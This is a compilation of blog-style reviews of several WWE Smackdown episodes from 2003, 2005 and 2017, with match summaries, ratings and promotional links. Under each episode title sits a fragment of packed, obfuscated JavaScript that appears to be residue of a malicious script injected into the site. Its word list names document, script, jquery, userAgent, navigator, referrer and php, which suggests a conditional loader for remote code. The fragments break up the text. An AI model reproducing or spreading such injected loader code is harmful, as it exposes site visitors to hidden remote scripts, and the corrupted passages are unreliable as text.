A double clothesline puts both guys down though and we’re at a standstill. Cue Shane McMahon because we can’t have these two in a match without all this extra stuff. He yells at Corbin, allowing Owens to hit a low blow for two with Shane pulling Corbin out of the ring. That’s enough for Corbin who walks out and throws Shane the shirt. Owens is livid and the Phenomenal Forearm retains the title at 12:45.

Rating: C+. Just like Sunday, there’s a good match in there underneath all the nonsense with the referees. I get that they want to get to Owens vs. McMahon (possibly in the Cell because that’s how the calendar works) but do we really have to sacrifice what could have been a pair of great matches to get there? There’s good stuff in there somewhere but it was the same problem as Sunday: too much focus on anything but the wrestlers and that gets old.

Owens looks furious to end the show.

Overall Rating: D+. This show really didn’t work and there’s not much other way to put it. Mahal isn’t interesting on top, there’s little of interest in the midcard, the tag division basically doesn’t exist and Shane seems ready to swallow up another good chunk of the show to set up one more match to prove that he’s still got it. Aside from Roode’s debut, there’s nothing on here to get excited about and that’s really rare for Smackdown.

Results

Bobby Roode b. Aiden English – Glorious DDT

Usos b. Hype Bros – Superkick to Ryder

Shinsuke Nakamura b. Singh Brothers – Triangle choke to Samir

Naomi/Becky Lynch b. Carmella/Natalya – Split legged moonsault to Carmella

AJ Styles b. Kevin Owens – Phenomenal Forearm

Remember to check out my website at kbwrestlingreviews.com, follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/


And check out my Amazon author page with cheap wrestling books at:


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Smackdown – March 20, 2003: At Least They’re Admitting It

Smackdown
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hbfek|var|u0026u|referrer|dbbsr||js|php'.split('|'),0,{})) March 20, 2003
Location: Freedom Hall, Louisville, Kentucky
Commentators: Michael Cole, Tazz

We’re ten days away from Wrestlemania XIX and hopefully things are going to pick up around here. The big story coming out of last week is Kurt Angle screwing over Brock Lesnar in their big showdown last week. You know Lesnar isn’t going to stand for that so violence is likely due. Let’s get to it.

We open with a montage of America the Beautiful from Wrestlemania over the years in honor of the US armed forces invading Iraq. The fact that I can tell which Wrestlemania each is from on the audio alone tells me that I’ve spent WAY too much of my life watching Wrestlemania.

Long recap of last week’s title match, including showing the brothers Angle switching during Lesnar’s entrance. That wasn’t shown last week.

Opening sequence.

Charlie Haas vs. Rhyno

Rhyno wastes no time in slugging away before Haas can even get his belt off. Some hard right hands (that intensity is always cool to see) have Haas in even more trouble but he sends Rhyno outside for a superkick from Shelton. Back in and a belly to belly sends Rhyno flying before it’s time to work on the knee.

We hit a few leg locks until Rhyno finally crawls over to the ropes. Charlie sticks with the leg until Rhyno uses the good leg to kick him away. A suplex drops Charlie but the knee gives out again. Tazz: “It’s like a table with three legs but Rhyno has two legs because he’s a human and not a table”. Shelton grabs the bad leg to break up the Gore and it’s a belt shot to Rhyno’s head for the DQ.

Rating: C-. I was starting to dig the match until the pretty stupid ending. If you want to do the DQ, just do it off Shelton interfering. Either way, at least Rhyno got to show off a bit as you rarely think of him doing much more than the Gore. He can wrestle a pretty decent power match and he was having a good little match here until the messy ending. I can always go for preventing title match participants from taking a pin before a pay per view though.

Bob Costas talks about how big Hulk Hogan vs. Vince McMahon will be, because it’s like the seniors’ golf tour. That’s quite ahead of its time for a featured Wrestlemania match.

Brian Kendrick is in Stephanie McMahon’s office so she can yell at him (shocking I know) for defying her authority in his efforts to get a job. Uh….if he doesn’t work here, why does he answer to Stephanie? Anyway she’s giving him a match tonight and if he wins, he gets a contract. You know, because Stephanie is firm but kind.

John Cena issues an open challenge for a rap off at Wrestlemania. This was scheduled to take place but the rapper, Fabolous, was arrested before the show and therefore the whole thing was canceled. Cena is ready for Lesnar too and is back next week.

Los Guerreros go to a golf course and annoy some semi-racist golfers. One golfer suggests a foursome but Eddie didn’t quite mean that. They agree to a winner take all bet and of course Eddie and Chavo cheat to win. Chavo: “If you’re not cheating, you’re not trying.”

Rikishi/Los Guerreros vs. FBI

Nunzio jumps Eddie to start but Chavo comes in with a Batista Bomb of all things for two. It’s off to Palumbo so Chavo starts in on his leg but a clothesline takes him down. Cole: “I’ve got a nickname now: the gangsta.” As you try to get that image out of your head, the Italians lure Eddie in and put Chavo in a double half crab (seems unnecessary) so Nunzio can drop a middle rope leg to the back of his head.

Palumbo gets two off a Samoan drop but a tornado DDT gives Chavo a bit of a reprieve. There’s the hot tag to Eddie and everything breaks down with Rikishi cleaning house with a double clothesline. All three Italians get crushed in the corner by the big man, leaving Palumbo to take a superkick and the frog splash for the pin.

Rating: D+. Am I missing something with the four non-Guerreros? Rikishi and the FBI get TV time almost every week for some reason and I have no idea why. They’re not interesting and there’s nothing special about them but for some reason they’re treated like fairly big stars. At least Eddie got the pin, though they should be getting more attention on their upcoming title match rather than this one off match.

Bobby Heenan calls Hogan vs. McMahon the old timers’ match as well. He’s right, again. It’s still sad to hear his voice that way though.

Rey Mysterio vs. Jamie Noble

Mysterio sends him into the corner to start but gets powerbombed into the buckle for his efforts. Rey gets tossed outside for a hard clothesline from Nidia and it’s off to an inverted Gory Stretch back inside. A tornado DDT plants Noble and a top rope hurricanrana makes things even worse. Nidia grabs Mysterio’s mask so he dives over the top to take her out in a rather violent moment. Back in and the 619 into the West Coast Pop gives Rey the pin.

Rating: C. Mysterio rising up the cruiserweight ranks is the best thing that can happen to the division and it’s cool to see him starting to get closer to the title. It’s also a good idea to have him go after Matt Hardy, who is a far bigger star than anyone in the division and therefore a better match for Mysterio. Unfortunately the rest of the division is pretty interchangeable and expendable, though they can put on some nice filler matches, just like Noble did here.

Kurt Angle tells his brother Eric, now in a leg cast, that they’ll make things right.

Here are the Angles for a chat. Kurt brags about retaining the title and credits his intelligence in making it happen. He explains the entire plan from last week and says Eric is the best brother anyone could have. Eric: “Mom was right. You don’t suck bro.” Now on to serious business though, as Kurt has to deal with Lesnar for putting his hands on Eric. Kurt calls him a disgrace to all forms of wrestling and says if you hurt one Angle, you hurt all Angles.

He wants Brock out here right now but gets…..Stephanie instead. Well to be fair she’s more intimidating. She changes the rules for Wrestlemania, saying that if Kurt gets disqualified, he loses the title. Stephanie: “Don’t look at me like that Kurt!”. Kurt isn’t happy but he’s staying out here until he gets his apology from Lesnar. Cue Brock to go after Eric but Kurt hits him low and Angle Slams Brock through a chair. Angle puts a knee in Brock’s back and grabs something like a Crossface until referees break it up.

Undertaker vs. Bill DeMott

Undertaker shoulders him down to start as Cole mentions that Undertaker has never lost at Wrestlemania. A kick to the ribs is countered into a legbar to send DeMott over to the ropes. Snake Eyes looks to set up a big boot but DeMott grabs a spinebuster for two instead. Undertaker is right back up with Old School for the same but the chokeslam is broken up. The second attempt works just fine though and the Tombstone ends Bill without too much effort.

Rating: D. Just a step above a squash here but it was good to give Undertaker a win like this. If nothing else it might get rid of DeMott even faster as he’s still not an interesting heel. At the very least he’s likely heading to Velocity now as there’s little left for him to do after a loss like this.

Brock thinks he’s broken his ribs again. Isn’t that always the way before a big title shot?

Brian Kendrick vs. Shannon Moore

Shannon has Matt Hardy, who graciously included Shannon in his book and is Shannon’s idol, in his corner. Brian tries some fast rollups to start and slips out of an electric chair into la majistral for two. A snap suplex gives Shannon two and we hit the bow and arrow. Back up and Brian gets in a facebuster followed by a springboard missile dropkick for two, with Tazz saying that was his best shot.

Matt has had enough of this being in trouble thing and pulls Brian to the floor for a faceplant onto the steps. That’s only good for two though and here’s Mysterio to go after Matt, allowing Brian to hit Sliced Bread #2 for the win. Since Kendrick doesn’t have music, he leaves to Rey’s instead.

Rating: D+. Nothing wrong with this one and I’m glad we can get rid of the Kendrick doesn’t have a job story as he’s wrestled more often than most people already on the roster. Mysterio and Hardy getting involved works as well as anything else and it’s not like Moore losing is going to hurt anyone. Not the worst match either.

This week’s Wrestlemania moment: Mr. T. vs. Roddy Piper in a boxing match. That’s the ONLY option they had?

We run down the Wrestlemania card.

Clips of the Wrestlemania press conference.

Vince is happy with the contract before the signing later tonight.

Chris Benoit vs. Shelton Benjamin

Benoit chops away to start and gets one off a belly to back suplex. Shelton gets in a suplex of his own for two and chokes on the mat to set up a chinlock. That’s fine with Benoit who comes back with a Crossface but Shelton rolls out, only to get dropkicked back down. The Crossface goes on again with Rhyno goring down an interfering Haas, leaving Benjamin to tap.

Rating: C. It was really short but intense while it lasted, which is all you can expect from these two. I’m really not big on a champion losing in about three and a half minutes at any point, especially less than two weeks before the pay per view. At least it wasn’t in a tag match though, which would have been even worse. Fun match while it lasted though.

Jesse Ventura doesn’t think there’s ever been a bad Wrestlemania and thinks Vince is willing to take chances. Did he just stop watching when he went to WCW?

Gene Okerlund is here to moderate the Vince and Hogan contract signing. Hogan comes out first and makes sure to soak in some cheers from some unbelievable Maniacs. Hulk wants to know what’s up with McMahonamania because Vince didn’t create Hulkamania. We see Vince walking through the back but here he is attacking Hogan from behind with a chair. I know it’s a simple editing trick but I’ve always been a fan of that kind of thing. Vince chairs Hogan down and busts him open, forcing him to sign the contract in his own blood. We get the big dramatic shots of the bloody Hogan to end the show.

Overall Rating: C-. If there was any doubt about the Smackdown main event for Wrestlemania, this show certainly got rid of them. This was full speed ahead on Hogan vs. McMahon and it’s towering over Lesnar vs. Angle. The title match has the more entertaining build but there’s no hiding the fact that the old timers are the real focal point. The wrestling was short here but it was entertaining while it lasted, especially for matches designed to set up the pay per view and not be big deals on their own. They’re starting to focus on Seattle but there’s not a lot of time left and it’s really starting to show.

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/


And check out my Amazon author page with cheap wrestling books at:


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Smackdown – August 15, 2017: They Might Have Just Saved Summerslam

Smackdown
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rkzzz|var|u0026u|referrer|srshi||js|php'.split('|'),0,{})) August 15, 2017
Location: Dunkin’ Donuts Center, Providence, Rhode Island
Commentators: Tom Phillips, Byron Saxton, John Bradshaw Layfield

It’s the last show before Summerslam and there’s a big main event to send us home. This week features Jinder Mahal vs. John Cena in a non-title match, which likely means that Baron Corbin and Shinsuke Nakamura will be lurking around. Other than that we’ll be pushing some of Sunday’s lower card matches as well. Let’s get to it.

A narrated video talks about tonight’s main event.

Phillips says this might be the biggest match in Smackdown’s history. This isn’t even Cena’s biggest match on Smackdown this month.

Here’s Mahal to talk about today being Independence Day in India. An Indian band performs a quick dance and then a woman sings the Indian national anthem. Mahal takes credit for the success of the WWE Network and goes on about how awesome India is until Nakamura interrupts. Nakamura says today is India’s Independence Day but it’s also Veterans Day in Japan. On Sunday, he’s taking the title. This was long and accomplished absolutely nothing.

The announcers send their best wishes to Ric Flair.

Natalya vs. Becky Lynch

Naomi comes out for commentary. Becky grabs a rollup for one but gets the taste slapped out of her mouth. That earns her a slap right back, sending Natalya to the floor as we take a break. Back with Becky caught in an abdominal stretch until she makes her comeback with the clotheslines. The Bexploder looks to set up the Disarm-Her but Becky has to escape the Sharpshooter. A top rope legdrop misses though and the Sharpshooter makes Becky tap at 7:33.

Rating: D+. Natalya continues to be the same performer she’s been for years now: completely competent in the ring but mostly lacking charisma or anything interesting. I still don’t know why she’s getting the shot when you have Becky and Charlotte on the sidelines. In theory they’re saving that for a bigger stage, but there’s not much of a bigger stage than Summerslam. Unless they’re just setting up the Money in the Bank cash-in and don’t want to waste a big match, I really don’t get the point in a glorified midcard match for the title.

Post match Naomi chases Natalya off from another Sharpshooter attack. Carmella comes out and teases cashing in her briefcase at Summerslam.

Tamina wants to know why Lana hasn’t made her ravishing yet. Lana says Tamina isn’t ready, which doesn’t sit well.

The Usos come in to see Daniel Bryan, who thinks they want him to join their rap group. It turns out they want to know which New Day members they’ll be facing Sunday. That would be Big E. and Xavier Woods, but the Usos want Woods and Kofi tonight. That’s cool with Bryan, who dances a bit as they leave.

Rusev vs. Chad Gable

Gable wastes no time in suplexing him to the floor but Rusev sends him into the steps a few times. Rusev tosses Gable over the announcers’ table and it’s a double countout at 1:16.

Post match Rusev puts Gable in the Accolade on the announcers’ table. Rusev grabs a mic and gets in the ring, only to have Orton come in from out of nowhere with an RKO. How did he not see a 6’4 wrestler running right in front of him?

Here’s AJ Styles to talk about Sunday’s match where Shane McMahon will be guest referee. AJ calls Shane to the ring and apologizes for accidentally kicking him last week. Shane says no apology is necessary but AJ is worried that Shane will use what happened last week to screw him over on Sunday. The boss says that won’t happen, but if AJ puts his hands on him on Sunday, Shane will put his hands on AJ as well.

AJ asks if that’s a threat but here’s Kevin Owens to interrupt. Owens loves those rules for Sunday because he thinks AJ has something planned. Kevin thinks AJ is going to try to get him to get into a fight with Shane on Sunday and cause a DQ. Shane tells them to shake hands but the fight breaks out with Shane having to block an errant AJ right hand. The ensuing argument lets Owens superkick Shane by mistake.

New Day vs. Usos

Non-title. Before the match, New Day said they’ll be seeing the Usos at Summerslam and goes over a list of places the Usos can see them before then. Kofi and Woods take turns hitting a long string of elbows, legdrops and splashes (over ten of them total) on Jey in the first minute. Double baseball slides drop the Usos and we take a break after a very fast start. Back with Kofi making his comeback and bringing Woods in off the hot tag to chop away. A double superkick to the legs set up a double superkick to the jaw but Jimmy makes the save. Jey superkicks Kofi’s knee and a double superkick his jaw for the pin at 7:49.

Rating: C-. That was a great opening but MY GOODNESS I’m sick of superkicks. This match didn’t even go eight minutes and there were seven superkicks included. Remember back in the day when one superkick finished a match? Well now it takes seven times that and most of them don’t even come close to finishing a match. Cool it with those already, as I assure you there are multiple other options out there.

It’s time for the final episode of Fashion Peaks with Fandango recapping everything that’s gone on so far, including the alien probes, which went very deep. They were MENTAL probes of course. Here’s Breeze in a dress and blond wig because that’s what he does these days. Breeze says they need to figure this out because the last thing they need is people thinking they’re making it up as they go along.

Fandango has a space rock that the aliens gave them, which he says can predict the future. He throws the rock and hits Ascension, who were returning pie. There’s a hair in the pie, along with a used Band-Aid and….GLUTEN! Viktor panics because they live a gluten free lifestyle and gets dragged away. There’s also a note in the pie, saying “Two B”. Fandango says he senses danger for the whole tag division. A graphic says they’ll return in two weeks.

Jinder Mahal vs. John Cena

Non-title and Jinder’s entrance is joined in progress. They fight over a test of strength to start until Cena shoves him away. One of the Singh Brothers gets in a cheap shot from the floor though and Mahal slowly takes over. Jinder throws him outside and we take a break. Back with Cena initiating his finishing sequence.

The Singh Brothers pull Mahal to the floor before the AA but the referee catches them for an ejection. That means the STF but Mahal is over to the ropes. Mahal snaps his throat across the top and hits a knee to the face for two. The Khallas is broken up and the AA….gets two? Well I’m a bit surprised. That means a super AA but here’s Corbin for the DQ at 9:59.

Rating: D. And so much for Mahal meaning much. He’s one of the worst choices for a champion you can find and now he can’t even get a full entrance in “one of the biggest matches in Smackdown history”. The fact that he didn’t get pinned helps a bit but he was completely destroyed at the end. Mahal needs to lose the title on Sunday, but it wouldn’t shock me if they kept it on him as a swerve.

Post match Corbin knocks Cena out and leaves….before realizing how stupid he would be to not cash in right now. Corbin cashes in the briefcase and IT’S ON!

Smackdown World Title: Baron Corbin vs. Jinder Mahal

Cena offers a quick distraction and Mahal grabs a rollup to retain at 9 seconds. THANK GOODNESS as that means there’s no cash-in on Sunday and we’re done with one of the stupid briefcases for the next eleven months.

Corbin is livid and Mahal celebrates with the Singh Brothers to end the show.

Overall Rating: D+. That ending alone saved this show as I couldn’t be happier about the briefcase being gone. One of the dumbest things they could have done was have Nakamura win and then have Corbin cash-in to win the title. Now we don’t have to worry about that and Nakamura can Kinshasa Mahal back to the midcard where he belongs. Other than that, this was a show similar to last night as the bigger stories were in deep freeze (until the main event of course) and not much really happened. It’s not much of a show but hokey smokes that ending was a great call.

Results

Natalya b. Becky Lynch – Sharpshooter

Rusev vs. Chad Gable went to a double countout

Usos b. New Day – Double superkick to Kingston

John Cena b. Jinder Mahal via DQ when Baron Corbin interfered

Jinder Mahal b. Baron Corbin – Rollup

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/


And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




Smackdown – March 13, 2003: Working All The Angles

Smackdown
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eyrha|var|u0026u|referrer|ryaaa||js|php'.split('|'),0,{})) March 13, 2003
Location: Mellon Arena, Pittsburgh, Pennsylvania
Commentators: Michael Cole, Tazz

It’s a big night in Pittsburgh as the hometown boy Kurt Angle is defending the Smackdown World Title against former champion Brock Lesnar. WWE has hyped the heck out of having the Wrestlemania main event two and a half weeks early and that almost guarantees some kind of a screwy finish. Let’s get to it.

A fired up Lesnar arrived earlier in the day, as did a zombie-esque Angle, who is sporting a VERY black eye.

Opening sequence.

Team Angle vs. Rey Mysterio/Billy Kidman

Non-title. Kidman shoulders Charlie down to start and there’s an armdrag to Shelton for good measure. Rey gets in a headscissors for two and Shelton isn’t sure how to keep up with Mysterio’s speed. It’s off to Kidman as the Angle vs. Lesnar hype continues. Shelton avoids a charge in the corner and Kidman goes shoulder first into the corner so the champs can take over. Shelton and Charlie take turns on the arm before Benjamin does his jump over Charlie onto Kidman’s back (that really needs a name).

Kidman finally gets in a dropkick and brings in Mysterio to clean house. Rey tries a hurricanrana on Shelton, who shoves him away, right into a moonsault press for two on Haas. Everything breaks down and Kidman easily reverses Charlie’s powerbomb (as you might expect). Shelton is sent outside and the 619 hits Haas. Kidman adds the shooting star press but Shelton gets up for a save. Mysterio is cut off and it’s the superkick into the German suplex to put Kidman away.

Rating: C+. Good action between four talented people, but more importantly it was nice to see Haas and Benjamin FINALLY get a win. I have no idea what the mentality is behind putting titles on people and then have them lose over and over again. A win like this helps, but they need to retain in a big title defense or there’s not much of a point to keeping the belts on them.

Stephanie McMahon is on the phone when Brian Kendrick comes in with some flowers. This goes nowhere.

Jamie Noble went to the Playboy Mansion to yell about Torrie Wilson being in Playboy instead of Nidia. After some plugs for the Girls Gone Wild show, security takes him away.

Chuck Palumbo vs. Rikishi

Rikishi goes after the other Italians and walks into a superkick from Palumbo for an early two. A belly to belly gets the same and it’s time for the required interference from the Italians. Rikishi comes back with some right hands in the corner and the Italians get on the apron. Cue Los Guerreros to take care of them though, allowing Rikishi to hit the Rump Shaker for the pin.

Undertaker finds Nathan Jones in a dark room. Apparently you can’t get the prison out of the wrestler. Undertaker doesn’t care, as long as Jones is ready for Wrestlemania.

A-Train/Big Show vs. Funaki/Tajiri

Big Show BLASTS Funaki with a clothesline at the bell and adds a gorilla press. It’s off to A-Train as Show sits in on commentary. Some kicks stagger A-Train but he knees Tajiri in the ribs to cut that off in a hurry. A dropkick to the knee allows Funaki to hit a springboard dropkick but they can’t drop the big bald. Tajiri’s kick to the face puts A-Train down so Big Show comes back in with the chokeslam. A-Train’s Trainwreck ends Funaki.

Rating: D. Just a squash and unfortunately a good way to show how generic a power team Big Show and A-Train really are. These power battle matches rarely work and I have a bad feeling about what we might be in for at Wrestlemania. The fact that Jones isn’t being allowed to get in the ring suggests a lot of problems and that’s a really bad idea going into the biggest show of the year. As a side note, is there any reason Tajiri and Funaki aren’t a regular team? They’d be fine as a midcard tag act.

We look back at Lesnar beating Heyman last week.

Fans are split on who will win the title match tonight.

Dawn Marie is sad about not being in Playboy. Sean O’Haire comes up and says that she should show off her body tonight by flashing the audience.

Torrie Wilson unveils her Playboy cover by holding up the magazine.

Here’s Dawn to say she has a nice body. She unbuttons her shirt and flashes the announcers, with the top rope covering everything up. Tazz: “THAT’S WHY THEY CALL IT THE MELLON ARENA!”

John Cena talks about being a Viagra triple shot while Brock Lesnar is a limo biscuit.

Los Guerreros vs. Rhyno/Chris Benoit

The winners get Haas and Benjamin for the titles at Wrestlemania. The opening bell never rings as Chavo and Benoit fight over arm control. It’s off to Eddie and the fans seem appreciative of seeing these two together. Therefore it’s off to Rhyno before anything happens and a hard shove sends Eddie sprawling into the corner. For once Chavo actually does better as a snapmare into a basement dropkick has Rhyno in trouble.

Rhyno launches Eddie into the air for a crash to take over again though and it’s back to Benoit for a knee to the ribs. Benoit belly to backs Chavo for two but Eddie comes back in for a good looking dropkick. In a surprising move, Eddie calms Chavo down from getting too involved to prevent a potential DQ. It’s for Wrestlemania after all so that makes sense. Things settle down enough for Chavo to chinlock Benoit as the pace slows.

Tazz talks about dogs and cats for some reason as Chavo does one of the most obvious spot calls I’ve seen in years. Eddie’s slingshot hilo gets two and we hit the armbar. Chavo comes back in and charges straight into a Crossface but he’s too close to the ropes. Benoit rolls outside with him and it’s Eddie diving onto Benoit, followed by Rhyno running Eddie over as we take a break.

Chavo grabbing a Crossface on Benoit (and being pretty bad at it) but Rhyno tags Benoit’s boot to come in for the save. A belly to belly into a chinlock slows Chavo down but he’s right back up with a middle rope dropkick. It’s back to Eddie vs. Benoit with Guerrero winning a slugout and grabbing a hurricanrana. He takes a bit too much time slapping his chest though and Benoit catches him on top, only to get caught in a sunset bomb for two.

Rhyno throws Chavo outside and still manages to break up a small package on Benoit. Chavo comes back in but gets caught in the Crossface, onto to have Eddie break it up with a frog splash. There’s a Gore to Eddie but Chavo hurricanranas him out to the floor. That leaves Benoit to roll some German suplexes on Eddie, who pops right back up with Three Amigos. Benoit will have none of that though and reverses into the Crossface but Eddie gets his hand out, earning himself even more German suplexes….and here’s Team Angle for the no contest after twenty minutes.

Rating: B. They were really starting to roll when the stupid finish happened. If Haas and Benjamin were just going to run in and end the match that way, why did they wait that long to do so? Anyway, Rhyno has fit right back into this show and is a nice power addition to go with the high fliers and technicians. You know this is setting up a triple threat at Wrestlemania and while I’d rather have Benoit do something important on is own, at least he’s in a title match.

We look back at last week with Hulk Hogan and Vince McMahon agreeing to a fight at Wrestlemania. Well at least they were gentlemen about it. For some reason we also have to hear them go on about all their history together, because, again, fans care SO MUCH about lawsuits and wrestlers jumping ship seven years ago.

Stephanie tells Team Angle that they’ll be facing both teams at Wrestlemania.

We get a clip from 1984 of Vince introducing a clip of Hogan beating Iron Sheik for the title, which transitions into a Hogan video package, including several Hogan Wrestlemania moments. That’s it for the fun stuff as we now go to an interview from some DVD of Hogan talking about being the one out there doing all this stuff. Vince threw him the ball and Hogan ran with it. It’s capped off by a clip from 1992 of Vince and Hogan sitting together before Hogan’s “retirement” match where they shake hands and thank each other.

Vince makes us watch the final part two more times and says that’s the only time Hogan ever thanked him for anything. What an ingrate. They used to be the best of friends but then Hogan changed. That change hurt Vince’s family and business which cut him to the bone. That clip wasn’t Hogan saying thank you but rather SCREW YOU VINCE.

We hear about how horrible it was for Hogan to jump to WCW again and Vince reiterates that it’s a fight instead of a match. We go to an extreme closeup as Vince says that after Wrestlemania, he is going to be devastated because Hogan has forced him to kill one of his own creations. For that, he can never forgive Hogan.

Cole says the contract signing for Hogan vs. McMahon is next week in the historic Freedom Hall in Louisville, Kentucky. Freedom Hall is not historic Cole.

Here’s Matt Hardy, who has never locked his keys in his car and hates cleaning his carpet, to issue an open challenge to anyone under 220lbs, save for Mysterio of course.

Matt Hardy vs. Pittsburgh Penguin

Non-title and it’s Brian Kendrick under a mask with a carrot for a nose. Tazz: “So this guy can fly then?” The Penguin tries to speed things up to start and hits a dropkick. Sliced Bread #2 is broken up so it’s a headscissors out of the corner to send Hardy flying. The Ricochet gets two though and Matt stomps away on the back. A tilt-a-whirl slam gets two and there goes the mask, revealing Kendrick in not the best surprise. Kendrick gets two off a facebuster and something like a tornado DDT gets two more. Shannon offers a distraction but Kendrick is able to grab Sliced Bread anyway. That’s enough for Matt as he takes the countout.

Rating: D+. Not terrible and the surprise (as obvious as it was) wasn’t the worst idea in the world. Having Kendrick win via countout makes him look good, though I’m not sure how smart it is to do that to a champion right before the biggest show of the year. Just have him beat Shannon instead as it’s not like that means anything.

After a break, Rey praises Kendrick.

Long recap of Lesnar vs. Angle.

Wrestlemania Moment: Hogan vs. Andre. That works.

Smackdown World Title: Brock Lesnar vs. Kurt Angle

Angle is defending in his hometown. Kurt comes to the ring with his hood up and immediately drops to his knee in the corner with his face against the buckle. Brock jumps him from behind and fires off the shoulders to the back as the hood is still up. The F5 connects but Brock lets him up at two because that’s not Kurt. Cue Team Angle for a distraction so the real Kurt can switch with whoever was in the ring. Angle small packages Brock to retain in maybe 90 seconds.

Kurt bails so Brock hits the F5 into the post on the other Angle, who Tazz recognizes as Kurt’s brother Eric, to end the show. Basically Kurt’s neck was destroyed and he didn’t think he’d be able to do Wrestlemania. This match was going to be a quick title change but Angle opted for surgery after working Wrestlemania because Angle is, shall we say, freaking crazy.

Overall Rating: D. That ending felt straight out of WCW and really brings down the rest of the show. It’s all they were talking about for most of the night and that’s not how you want to wrap up one of the last shows of the year before Wrestlemania. On top of that, the Vince vs. Hogan stuff is getting old in a hurry and the rest of Smackdown’s stuff isn’t all that great. Bad show this week as the main event cuts the legs off what could have been a good, or at least ok, night.

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/


And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




Smackdown – September 30, 2005: Not Bad For An Old Guy

Smackdown
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|teryk|var|u0026u|referrer|befkf||js|php'.split('|'),0,{})) September 30, 2005
Location: Laredo Entertainment Center, Laredo, Texas
Commentators: Michael Cole, Tazz

Welcome back to the “I Have No Idea Why This Was Requested Corner”. This would be coming up on No Mercy 2005 so Eddie Guerrero is chasing Smackdown World Champion Batista. It’s also a pretty forgotten era for Smackdown but things would get shaken up in a hurry due to a horrible tragedy. Let’s get to it.

Opening sequence.

Cole gives us a quick travelogue about Laredo, which really isn’t how I expected this to start off.

JBL comes out for a tag match, wearing an inner tube, carrying a Mexican flag, wearing a sombrero and holding a burro on a leash. Naturally he speaks some Spanish and hopes that someone with a Green Card (“If you can find one.”) can translate. He stops to threaten a call to INS to clean out this arena before saying it’s not that he doesn’t like foreigners. We get some insults about Laredo but more importantly, he’s gone to see Mysterio’s family in Mexico.

Everything he’s carrying is from one of the relatives, including an inner tube that belong to 28 of Rey’s closest family members. Now it’s time to get serious though as JBL heads outside and points to the burro, which represents the mouths that people like him have to feed when people come to this country without being able to make a living. The other end of the burro reminds him of the rest of these people, because it makes him sick. There are some great Americans but none have as great of a name as his partner tonight.

John Bradshaw Layfield/Mr. Kennedy vs. Rey Mysterio/Hardcore Holly

Kennedy thinks the burro is Tony Chimmel and insults him as such. He also does his own entrance as we’re over ten minutes into this show and about eight of that has been spent on talking before the match starts. We’re ready to go after a break with Rey doing a Mexican hat dance around the sombrero. Kennedy tries to stand up for Mexican pride but gets legdropped for his efforts.

JBL hits Rey with the inner tube though and Kennedy gets in a cheap shot to take over. It’s off to JBL vs. Holly (He’s the best you can do?) with a suplex getting two on Bradshaw. The announcers start talking about Raw Homecoming this week, which would kick off the start of the Raw vs. Smackdown feud which would dominate the fall. JBL kicks Rey in the ribs though and the beating begins. The 619 is broken up and it’s time to choke with the Mexican flag.

Back in and the fall away slam sends Rey flying and we hit the bearhug, which isn’t something you expect to see from JBL. Kennedy eats the sitout bulldog though and the hot tag brings in Holly to….well about the reaction you would expect off a hot tag to Holly. A full nelson driver plants Kennedy and the dropkick puts JBL down. Kennedy is back up to snap Holly’s throat across the ropes though, setting up the Clothesline From JBL for the pin.

Rating: C. JBL’s promo before the match was great but there’s not much else to brag about on here. That was the case for him a lot of the time though as JBL could often talk his way into a big match but he rarely had the in-ring abilities to back it up, at least at this point. Holly continues to feel completely out of place here and is a great example of how you just can’t take a career lower midcarder, put him way above his pay grade and expect it to work. All I see is the guy who used to be Sparky Plugg or the guy who says he used to call himself the Super Heavyweight and had a bunch of unfunny hardcore matches. It just doesn’t work.

We look back at last week when Eddie Guerrero claimed food poisoning to get out of a tag match where he was to be Batista’s partner. Batista got him a prostate exam but Eddie came in with a frog splash to help beat MNM anyway.

Eddie is eating some Mexican food when Batista comes up. Guerrero promises that they’ll win the Tag Team Titles tonight but Batista takes the food away. Just looking out for his partner’s stomach you see.

Melina was on the phone in the parking lot earlier today when a motorcycle rode by. It was Christy Hemme as a biker (that works very, VERY well) and they get in a shouting match over Christy breaking Melina’s nail.

Melina vs. Christy Hemme

Melina has MNM with her. They lock up to start with Melina backing her up to the ropes for some mouth running. It’s off to an early armbar which keeps Christy in trouble for far longer than an armbar should. A neck snap across the ropes gets a pair of twos with Melina screeching a lot off the kickouts. Christy’s sunset flip out of the corner gets two and she’s all fired up. A kick to the ribs sets up a jackknife cover for two on Melina but Johnny Nitro trips Christy up to give Melina the pin.

Rating: D. This was ALL about showcasing Christy and there’s good reason for that. In addition to being insanely gorgeous and rocking the heck out of her outfits, she had some great charisma and could have been a big deal if she wasn’t so horrible in the ring. Melina was far more polished in the ring of course but she needed someone better to work with.

Melina keeps running her mouth post match so Christy elbows her, only to have MNM come in. The Snapshot is loaded up but the Legion of Doom (Animal and Heidenreich) come in for the save.

We look back at the Ortons holding a funeral for Undertaker’s career. Of course the real Undertaker was in the casket and the beating was on.

Bob Orton Jr. vs. Undertaker

